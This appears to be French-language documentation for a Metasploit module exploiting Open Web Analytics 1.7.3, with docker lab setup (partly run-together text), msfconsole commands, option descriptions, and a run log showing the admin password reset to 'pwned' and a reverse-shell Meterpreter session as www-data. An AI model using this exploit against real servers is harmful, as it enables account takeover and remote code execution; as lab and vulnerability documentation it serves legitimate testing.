
Open Web Analytics 1.7.3 - Exécution de code à distance
Open Web Analytics (OWA) avant la version 1.7.4 permet à un attaquant distant non authentifié d'obtenir des informations sensibles sur les utilisateurs, qui peuvent être utilisées pour obtenir des privilèges administrateur en exploitant les hachages de cache. Cela se produit car les fichiers générés avec '<?php (au lieu de la séquence prévue "<?php) ne sont pas traités par l'interpréteur PHP.
Démarrer une instance vulnérable d'OWA avec docker
docker compose up -ddocker-compose.yml
http://127.0.0.1/docker inspect <db-container> et obtenir IPAddress, par ex )172.22.0.23306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#Démarrer msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> cela doit être l'IP du pont créée avec la commande docker compose up -d
check
run
Lors de l'exploitation de la cible, le mot de passe de l'utilisateur attaqué sera remplacé par ce mot de passe.
L'utilisateur qui sera ciblé par cet exploit.
L'exploit fonctionne en récupérant une valeur temp_passkey à partir d'un fichier de cache qui est créé pour chaque utilisateur lors d'une tentative de connexion. Le répertoire /owa-data/caches/ étant accessible publiquement, nous pouvons récupérer ces fichiers de cache. Le chemin exact des fichiers de cache dépend de l'user_id et peut être calculé à partir de celui-ci. Cette option définit combien de chemins calculés, en commençant à 0, doivent être vérifiés pour trouver des fichiers de cache contenant la valeur temp_passkey.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >